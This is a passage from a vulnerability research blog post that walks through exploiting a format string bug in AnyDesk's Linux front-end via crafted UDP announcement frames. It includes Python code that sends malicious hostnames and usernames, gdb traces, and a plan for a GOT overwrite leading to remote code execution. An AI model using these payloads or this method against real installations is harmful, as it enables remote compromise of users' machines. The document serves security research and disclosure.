fault.<\/p>\n\n\n\n<p>Analyzing the code a little bit further we can determine that the call to <code>vsnprintf<\/code> prepares a string, which will be written to the log file (<code>~\/.anydesk\/anydesk.trace<\/code>). The fourth parameter of the outer function, which will be used as the format string, is in this case an error message generated by the <code>glib<\/code> library, which is raised because the text contains an invalid UTF-8 sequence. This error message was obviously assumed to be static. However the error message contains the input, which caused the error (the fuzzed hostname), which we can control. Thus we can control parts of the format string by inserting an invalid UTF-8 sequence into the hostname of an announcement frame. This results in a classical format string vulnerability.<\/p>\n\n\n\n<p>Also it turned out that the vulnerable call is actually made twice. By sending an announcement frame with an invalid UTF-8 sequence and a format specifier (<code>'\\x85\\xfeTEST %p'<\/code>), we can see the result in <code>~\/.anydesk\/anydesk.trace<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ tail -n 3 ~\/.anydesk\/anydesk.trace \nwarning 2020-05-25 08:59:02.119   frontend   main   4431   4431                                  glib - Failed to set text from markup due to error parsing markup: Error on line 1 char 43: Invalid UTF-8 encoded text in name - not valid &#039;??TEST 0x15334e0&#039;\nwarning 2020-05-25 08:59:02.125   frontend   main   4431   4431                                  glib - Failed to set text from markup due to error parsing markup: Error on line 1 char 43: Invalid UTF-8 encoded text in name - not valid &#039;??TEST 0x15334e0&#039;\n   info 2020-05-25 08:59:02.132   frontend   main   4431   4431                     unix_app.frontend - Monitoring online states.\n<\/pre><\/div>\n\n\n<p>The  error message has been written twice to the log file. We can also see how the inserted format specifier (<code>%p<\/code>) has been evaluated.<\/p>\n\n\n\n<p>After analyzing the segmentation fault discovered by fuzzing the front-end process, we identified that the cause of the crash is a format string vulnerability. The next step is to develop an exploit for the identified vulnerability.<\/p>\n\n\n\n<h1 id=\"exploit\">Exploit<\/h1>\n\n\n\n<p>Within my writeup on <a rel=\"noreferrer noopener\" href=\"https:\/\/devel0pment.de\/?p=351#lab4B\" target=\"_blank\">RPISEC\/MBE lab04B<\/a> I described the basics on how to exploit a format string vulnerability using the <code>%n<\/code> format specifier. This format specifier can be used to write data and also caused the segmentation fault when fuzzing the application. Within this section we will take a look at how to exploit the format string vulnerability in this very specific setting in order to gain Remote Code Execution (RCE).<\/p>\n\n\n\n<h2 id=\"strategy\">Strategy<\/h2>\n\n\n\n<p>Probably the very first thing everyone does when facing a binary exploitation challenge is to check which security mechanisms are enabled. In this case the result is very surprising:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ checksec \/usr\/bin\/anydesk\n&#x5B;*] &#039;\/usr\/bin\/anydesk&#039;\n    Arch:     amd64-64-little\n    RELRO:    No RELRO\n    Stack:    No canary found\n    NX:       NX disabled\n    PIE:      No PIE (0x400000)\n    RWX:      Has RWX segments\n<\/pre><\/div>\n\n\n<p>Actually no protection mechanisms are enabled, which makes the exploitation more easy.<\/p>\n\n\n\n<p>While developing an exploit I would generally suggest to disable ASLR and just keep in mind that we have to bypass it. This makes it easier to compare addresses of multiple runs of the application:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ echo 0 | sudo tee \/proc\/sys\/kernel\/randomize_va_space \n0\n<\/pre><\/div>\n\n\n<p>The first goal we need to achieve is to control the instruction pointer. Since there is <code>No RELRO<\/code>, we can use the <code>%n<\/code> format specifier to overwrite an entry within the <code>Global Offset Table<\/code> (<code>GOT<\/code>). As the heap segment, where our input data will be stored, is actually executable, we can store a shellcode there and make the <code>GOT<\/code> entry point to this shellcode. On the next call of the function, which <code>GOT<\/code> entry we overwrote, our shellcode is executed.<\/p>\n\n\n\n<p>Although these steps sound quite straight forward, achieving this turned out to be a little bit more challenging. Let&#8217;s have a look.<\/p>\n\n\n\n<h2 id=\"vsnprintf\">The v in vsnprintf<\/h2>\n\n\n\n<p>The next instruction after the vulnerable call to <code>vsnprintf<\/code> is a call to the function <code>time<\/code>. Accordingly we can overwrite the <code>GOT<\/code> entry of <code>time<\/code> and thus redirecting the control flow immediately after the <code>vsnprintf<\/code> call. In order to use the <code>%n<\/code> format specifier to overwrite the <code>GOT<\/code> entry of <code>time<\/code>, we need to be able to reference the address of the <code>GOT<\/code> entry. In a classical format string exploit this is achieved by being able to control data on the stack. Since all values on the stack, which are equal or below to the current <code>RSP<\/code>, can be referenced with an appropriate argument selector (e.g. <code>%35$n<\/code>), the desired address can simply be put into the controlled stack data. Using the appropriate argument selector in combination with the <code>%n<\/code> format specifier causes the function to write the amount of characters written so far to this address.<\/p>\n\n\n\n<p>In this case things are a little bit different. As you probably already noticed the vulnerable call is <strong>not<\/strong> made to the function <code>snprintf<\/code>, which signature looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nsnprintf(char *s, size_t n, const char *format, ...)\n<\/pre><\/div>\n\n\n<p>\u2026, but rather <code>vsnprintf<\/code>, which signature looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nvsnprintf(char *s, size_t n, const char *format, va_list arg)\n<\/pre><\/div>\n\n\n<p>The difference here is that the format string arguments are not directly passed as variable arguments (<code>...<\/code>), but within a <code>va_list<\/code> parameter (<code>arg<\/code>). Each of the functions in the printf family has a corresponding <code>va_list<\/code> function beginning with the letter <code>v<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ man 3 printf\n...\n\n       #include &lt;stdio.h&gt;\n\n       int printf(const char *format, ...);\n       int fprintf(FILE *stream, const char *format, ...);\n       int dprintf(int fd, const char *format, ...);\n       int sprintf(char *str, const char *format, ...);\n       int snprintf(char *str, size_t size, const char *format, ...);\n\n       #include &lt;stdarg.h&gt;\n\n       int vprintf(const char *format, va_list ap);\n       int vfprintf(FILE *stream, const char *format, va_list ap);\n       int vdprintf(int fd, const char *format, va_list ap);\n       int vsprintf(char *str, const char *format, va_list ap);\n       int vsnprintf(char *str, size_t size, const char *format, va_list ap);\n<\/pre><\/div>\n\n\n<p>The structure of <code>va_list<\/code> is actually specific to the <code>Application Binary Interface<\/code> (<code>ABI<\/code>), which e.g. describes the calling convention, how the stack is organized and so on. On <code>x86<\/code>, where all function parameters are passed on the stack, <code>va_list<\/code> simply consists of a pointer to the stack area, where the original parameters are stored. With <code>x64<\/code> things get a little bit more complex. The first six parameters are passed in registers (<code>RDI<\/code>, <code>RSI<\/code>, <code>RDX<\/code>, <code>RCX<\/code>, <code>R8<\/code>, <code>R9<\/code>), also there are special registers for floating point parameters (<code>XMM0<\/code> \u2026 <code>XMM7<\/code>). Additional parameters are passed on the stack as with <code>x86<\/code>. There is a very good blog post describing the details, which can be found <a rel=\"noreferrer noopener\" href=\"https:\/\/blog.nelhage.com\/2010\/10\/amd64-and-va_arg\/\" target=\"_blank\">here<\/a>. The structure of the <code>va_list<\/code> looks like this on <code>x64<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\ntypedef struct {\n  unsigned int gp_offset;\n  unsigned int fp_offset;\n  void *overflow_arg_area;\n  void *reg_save_area;\n} va_list&#x5B;1];\n<\/pre><\/div>\n\n\n<p>There are two pointers: <code>overflow_arg_area<\/code>, which points to the first argument originally passed on the stack and <code>reg_save_area<\/code>, which points to an area on the stack where the arguments passed via registers are saved (the first six general parameters as well as eight floating point parameters). Both values <code>gp_offset<\/code> and <code>fp_offset<\/code> are offsets relative to <code>reg_save_arena<\/code> and reference the first general register parameter (<code>gp_offset<\/code>) as well as the first floating point parameter (<code>fp_offset<\/code>). These offsets exists because there are usually other parameters before the variable parameters (e.g. the format string itself).<\/p>\n\n\n\n<p>Let&#8217;s have a practical look at this on the AnyDesk front-end. We attach gdb to it and set a breakpoint on the call to <code>vsnprintf<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ sudo gdb \/usr\/bin\/anydesk $(~\/pid_frontend.py)\n...\nAttaching to program: \/usr\/bin\/anydesk, process 3863\n...\ngdb-peda$ b *0x8ab346\nBreakpoint 1 at 0x8ab346\ngdb-peda$ c\nContinuing.\n\n<\/pre><\/div>\n\n\n<p>Now we can use the python function again, which we created to generate announcement frames. In this case we send an announcement with the following hostname:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfe 1.%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p&#039;, &#039;custom username&#039;, &#039;ad&#039;, &#039;main&#039;)\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.sendto(p, (ip, port))\ns.close()\n<\/pre><\/div>\n\n\n<p>The beginning of the hostname (<code>'\\x85\\xfe'<\/code>) is an invalid UTF-8 sequence, which will trigger the format string vulnerability (any other invalid UTF-8 sequence can be used here). After this we use the <code>%p<\/code> format specifier to print the values of the first ten arguments.<\/p>\n\n\n\n<p>A few seconds after running the script (up to 5 seconds until the GUI refreshes) our breakpoint is hit:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4,24,33,46]; title: ; notranslate\" title=\"\">\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x11c5040 --&gt; 0x21 (&#039;!&#039;)\nRCX: 0x7ffffffeb898 --&gt; 0x3000000010 \nRDX: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376 1.%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p&#039;&quot;)\nRSI: 0x400 \nRDI: 0x7ffffffeafd0 --&gt; 0x7 \nRBP: 0x5 \nRSP: 0x7ffffffeaaf0 --&gt; 0x7ffffffeacc0 --&gt; 0x0 \nRIP: 0x8ab346 (call   0x412d90 &lt;vsnprintf@plt&gt;)\nR8 : 0x0 \nR9 : 0x10 \nR10: 0xffffff81 \nR11: 0x7ffff1548550 --&gt; 0xfff08320fff08310 \nR12: 0x7ffffffeb898 --&gt; 0x3000000010 \nR13: 0xb366d8 --&gt; 0x62696c67 (&#039;glib&#039;)\nR14: 0x1453d80 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376 1.%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p&#039;&quot;)\nR15: 0x4\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376 1.%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x7ffffffeacc0 --&gt; 0x0 \n0008| 0x7ffffffeaaf8 --&gt; 0x7ffffffeac50 --&gt; 0x20fe85272064696c \n0016| 0x7ffffffeab00 --&gt; 0x158cba0 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x7ffffffeac50 --&gt; 0x20fe85272064696c \n0032| 0x7ffffffeab10 --&gt; 0x7ffffffeae70 --&gt; 0x0 \n0040| 0x7ffffffeab18 --&gt; 0x7ffff5e379d4 (&lt;g_hash_table_lookup+52&gt;:\tmov    r8d,0x2)\n0048| 0x7ffffffeab20 --&gt; 0x138ca30 --&gt; 0x11f6ab0 --&gt; 0x11e7340 --&gt; 0x31 (&#039;1&#039;)\n0056| 0x7ffffffeab28 --&gt; 0x1572280 --&gt; 0x0 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 1 &quot;anydesk&quot; hit Breakpoint 1, 0x00000000008ab346 in ?? ()\ngdb-peda$ \n<\/pre><\/div>\n\n\n<p>The fourth parameter (<code>RCX = 0x7ffffffeb898<\/code>) is the <code>va_list<\/code> structure. The first two unsigned ints (4 bytes each) are the members <code>gp_offset<\/code> and <code>fp_offset<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ x\/2xw 0x7ffffffeb898\n0x7ffffffeb898:\t0x00000010\t0x00000030\n<\/pre><\/div>\n\n\n<p>After these values both pointers <code>overflow_arg_area<\/code> and <code>reg_save_area<\/code> follow:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ x\/2xg 0x7ffffffeb898+8\n0x7ffffffeb8a0:\t0x00007ffffffeb970\t0x00007ffffffeb8b0\n<\/pre><\/div>\n\n\n<p>Since the value of <code>gp_offset<\/code> is 0x10, the function which was originally called with variable arguments had two preceding general parameters. In order to display the next four general parameters assumed to be passed in the remaining registers, we need to add <code>gp_offset<\/code> (<code>0x10<\/code>) to the <code>reg_save_area<\/code> pointer (<code>0x00007ffffffeb8b0<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ x\/4xg 0x00007ffffffeb8b0+0x10\n0x7ffffffeb8c0:\t0x0000000001453d80\t0x0000000000000000\n0x7ffffffeb8d0:\t0x00007ffff1784c40\t0x0000000000000010\n<\/pre><\/div>\n\n\n<p><code>vsnprintf<\/code> assumes that these four values were passed in registers. All following values are assumed to be passed via the stack and are referenced by the <code>overflow_arg_area<\/code> pointer (<code>0x00007ffffffeb970<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ x\/6xg 0x00007ffffffeb970\n0x7ffffffeb970:\t0x0000000000b366d8\t0x0000000000000000\n0x7ffffffeb980:\t0x0000000001482b01\t0x00007ffff5e4ee24\n0x7ffffffeb990:\t0x0000000001453d80\t0x0000000000000000\n<\/pre><\/div>\n\n\n<p>By entering <code>ni<\/code> the call to <code>vsnprintf<\/code> is made and we can inspect the resulting string (<code>set print elements 0<\/code> displays the whole string without truncation):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ ni\n...\ngdb-peda$ set print elements 0\ngdb-peda$ x\/s 0x7ffffffeafd0\n0x7ffffffeafd0:\t&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376 1.0x1453d80 2.(nil) 3.0x7ffff1784c40 4.0x10 5.0xb366d8 6.(nil) 7.0x1482b01 8.0x7ffff5e4ee24 9.0x1453d80 10.(nil)&#039;&quot;\n<\/pre><\/div>\n\n\n<p>The first four parameters were indeed taken from the <code>reg_save_area<\/code> and all following values from the <code>overflow_arg_arena<\/code>. The following picture summarizes the structure:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"864\" height=\"768\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_05-1.png\" alt=\"\"><\/p>\n\n\n\n<h2 id=\"write\">Gaining arbitrary write<\/h2>\n\n\n\n<p>After we have clarified what we can access with the format string, we need to find some data that we can control in the accessible data. If we can directly control data within the <code>reg_save_area<\/code> or <code>overflow_arg_area<\/code>, we could store the address of the <code>time GOT<\/code> entry and write to it using the <code>%n<\/code> format specifier.<\/p>\n\n\n\n<p>Within the <code>reg_save_area<\/code> there are only 4 values we can access. These do obviously not contain any data of our input. All following parameters are stored in the <code>overflow_arg_area<\/code>. Let&#8217;s have a look at the first 50 values stored there using the <code>telescope<\/code> command:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ telescope 0x00007ffffffeb970 50\n0000| 0x7ffffffeb970 --&gt; 0xb366d8 --&gt; 0x62696c67 (&#039;glib&#039;)\n0008| 0x7ffffffeb978 --&gt; 0x0 \n0016| 0x7ffffffeb980 --&gt; 0x1530801 --&gt; 0xe000007ffff17853 \n0024| 0x7ffffffeb988 --&gt; 0x7ffff5e4ee24 (test   eax,eax)\n0032| 0x7ffffffeb990 --&gt; 0x167ec00 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376 1,%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p&#039;&quot;)\n0040| 0x7ffffffeb998 --&gt; 0x0 \n0048| 0x7ffffffeb9a0 --&gt; 0x10 \n0056| 0x7ffffffeb9a8 --&gt; 0x7ffff5e501cd (&lt;g_logv+605&gt;:\tmov    eax,r14d)\n0064| 0x7ffffffeb9b0 --&gt; 0x7ffff7a5389b --&gt; 0x4b544700006b7447 (&#039;Gtk&#039;)\n0072| 0x7ffffffeb9b8 --&gt; 0x167ec00 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376 1,%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p&#039;&quot;)\n0080| 0x7ffffffeb9c0 --&gt; 0x1fffeb9d0 \n0088| 0x7ffffffeb9c8 --&gt; 0x4342b0 (push   rbp)\n0096| 0x7ffffffeb9d0 --&gt; 0x0 \n0104| 0x7ffffffeb9d8 --&gt; 0x7ffff7a5389b --&gt; 0x4b544700006b7447 (&#039;Gtk&#039;)\n0112| 0x7ffffffeb9e0 --&gt; 0x7ffffffeba18 --&gt; 0x7ffff1431f9b (&lt;__GI___libc_realloc+875&gt;:\tmov    r8,QWORD PTR &#x5B;rsp+0x8])\n0120| 0x7ffffffeb9e8 --&gt; 0x0 \n0128| 0x7ffffffeb9f0 --&gt; 0x155dd20 --&gt; 0x7fffdc00f3d0 --&gt; 0x1514300 --&gt; 0x1513da0 --&gt; 0x14d6e00 (--&gt; ...)\n0136| 0x7ffffffeb9f8 --&gt; 0x0 \n0144| 0x7ffffffeba00 --&gt; 0x500000000 \n0152| 0x7ffffffeba08 --&gt; 0x7ffff5e9acd8 (&quot;Invalid UTF-8 encoded text in name - not valid &#039;%s&#039;&quot;)\n0160| 0x7ffffffeba10 --&gt; 0x0 \n0168| 0x7ffffffeba18 --&gt; 0x7ffff1431f9b (&lt;__GI___libc_realloc+875&gt;:\tmov    r8,QWORD PTR &#x5B;rsp+0x8])\n0176| 0x7ffffffeba20 --&gt; 0x7ffff5e969e1 --&gt; 0x4600303262696c67 (&#039;glib20&#039;)\n...\n<\/pre><\/div>\n\n\n<p>We can see a few occurrences of the heap address of the format string. Although we control parts of the format string, we don&#8217;t control the address, which is what we would need to. Searching even further down the stack for possible data we can control does not yield anything useful. So it seems that we can&#8217;t control any data, which we can access with the format string. Is this already a dead end? Of course not!<\/p>\n\n\n\n<p>Taking a look at the values above again, we can see that there are stack addresses stored on the stack. There are even stack addresses, which reference the area we can access. For example at offset <code>112<\/code> the stack address <code>0x7ffffffeba18<\/code> is stored, which corresponds to offset <code>168<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\n0112| 0x7ffffffeb9e0 --&gt; 0x7ffffffeba18 --&gt; 0x7ffff1431f9b (&lt;__GI___libc_realloc+875&gt;:\tmov    r8,QWORD PTR &#x5B;rsp+0x8])\n...\n0168| 0x7ffffffeba18 --&gt; 0x7ffff1431f9b (&lt;__GI___libc_realloc+875&gt;:\tmov    r8,QWORD PTR &#x5B;rsp+0x8])\n...\n\n<\/pre><\/div>\n\n\n<p>If we use the appropriate argument selector we can use this stack address to write to the area we can access. We can then use another argument selector to reference the data we wrote. The following picture visualizes the basic idea:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"1104\" height=\"384\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_06-1.png\" alt=\"\"><\/p>\n\n\n\n<p>The problem here is that we cannot do this in a single call of <code>vsnprintf<\/code>. All referenced data is fetched <strong>before<\/strong> data is written by the <code>%n<\/code> format specifier. This means that the <code>%19$ln<\/code> would indeed overwrite the data on the stack, but the <code>%26$ln<\/code> would still evaluate to the old value, which was stored there. Accordingly we need two calls:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Store address of <code>time<\/code> <code>GOT<\/code> entry on the stack<\/li><li>Write to previously stored <code>GOT<\/code> entry address in order to control instruction pointer<\/li><\/ol>\n\n\n\n<p>As you may remember, the vulnerable call to <code>vsnprintf<\/code> is actually made twice for the very same format string. Though it turned out that the call path for both of these calls vary. Because of this also the stack layout varies. This means that an argument selector (e.g. <code>%26$ln<\/code>) on the first call will not reference the same value on the second call. We also need to keep in mind that we cannot change the format string in-between the two calls. If we e.g. use <code>%200$n<\/code> on the first call, to write the <code>GOT<\/code> address on the stack, we need to ensure that <code>%200$n<\/code> on the second call also references a writable address, because we trigger a segmentation fault otherwise. This is not only true for <code>%n<\/code> we use to store the <code>GOT<\/code> address but also for the second <code>%n<\/code>, we need to use in order to actually write to the <code>GOT<\/code> entry. Unfortunately there did not seem to be any values on the stack, which would fulfill these requirements.<\/p>\n\n\n\n<p>Thus we need another approach. The first thing that came into my mind was to send two independent announcement frames. We need to trigger the vulnerability twice, so let&#8217;s just trigger it twice via the initial attack vector. Because of the duplicate call this actually results in four calls to <code>vsnprintf<\/code>. We still must ensure that the <code>%n<\/code> used on the respective first call also references a writable memory location on the associated second call, but since we only need to use one <code>%n<\/code> format specifier in each pair of calls, stack values can be found to fulfill this requirement.<\/p>\n\n\n\n<p>Although the approach using two separate announcement frames seemed to work, I did not really like it. One reason for this is the duplicate call of <code>vsnprintf<\/code>. We must accept that the second call writes somewhere into memory even though it is not relevant for our exploit. Also the two announcement frames may interfere with legitimate announcement frames, which are sent in the same time window (the GUI gets updated only every 5 seconds). These aspects may reduce the reliability of the exploit.<\/p>\n\n\n\n<p>While thinking about this and looking at the GUI another idea came into my mind:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"796\" height=\"466\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_02.png\" alt=\"\"><\/p>\n\n\n\n<p>The GUI displays not only the hostname, but also the username. So far we triggered the vulnerability only by using the hostname. But the username should also be prone to this. Let&#8217;s verify this by sending the following announcement frame:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfeHOSTNAME %p&#039;, &#039;\\x85\\xfeUSERNAME %p&#039;, &#039;ad&#039;, &#039;main&#039;)\n<\/pre><\/div>\n\n\n<p>After a few seconds the GUI updates and the breakpoint on the <code>vsnprintf<\/code> call is hit:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,13]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 47: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376USERNAME %p&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n<\/pre><\/div>\n\n\n<p>Inspecting the format string (third parameter) we can see that the username indeed triggered the vulnerability. After continuing the execution the breakpoint is hit again:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,13]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 47: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376HOSTNAME %p&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n<\/pre><\/div>\n\n\n<p>This time the vulnerability was triggered by the hostname. If we further continue the execution both calls (for username and hostname) are repeated.<\/p>\n\n\n\n<p>Thus we verified that the vulnerability can be triggered using both the hostname and the username. This is a good news for our exploit because we can now use two independent format strings, which are sent in a single UDP packet and are both evaluated before the duplicate call is triggered.<\/p>\n\n\n\n<p>What we have to do now is to find an accessible stack address, which we will write the <code>GOT<\/code> address to. For this we must keep in mind that the values on the stack between the two <code>vsnprintf<\/code> calls may change \/ get overwritten. If we write to an stack address, which is too near to the top of the stack, it is very likely that it has been overwritten at the time of the second call. Finding a suitable value is only a matter of try and error. We write to an address on the first call and then verify that the value we wrote is still the same on the second call.<\/p>\n\n\n\n<p>The stack address <code>0x7ffffffebe70<\/code>, which can be accessed using the argument selector <code>%93$ln<\/code> fits our needs:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,13,28,30]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 51: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376USERNAME %93$ln&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x7ffffffeacc0 --&gt; 0x0 \n0008| 0x7ffffffeaaf8 --&gt; 0x7ffffffeac50 --&gt; 0x55fe85272064696c \n0016| 0x7ffffffeab00 --&gt; 0x171f0c0 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x7ffffffeac50 --&gt; 0x55fe85272064696c \n0032| 0x7ffffffeab10 --&gt; 0x7ffffffeae70 --&gt; 0x0 \n0040| 0x7ffffffeab18 --&gt; 0x7ffff5e379d4 (&lt;g_hash_table_lookup+52&gt;:\tmov    r8d,0x2)\n0048| 0x7ffffffeab20 --&gt; 0x138b230 --&gt; 0x11f6ab0 --&gt; 0x11e7340 --&gt; 0x31 (&#039;1&#039;)\n0056| 0x7ffffffeab28 --&gt; 0x1715ca0 --&gt; 0x0 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 1 &quot;anydesk&quot; hit Breakpoint 2, 0x00000000008ab346 in ?? ()\ngdb-peda$ telescope 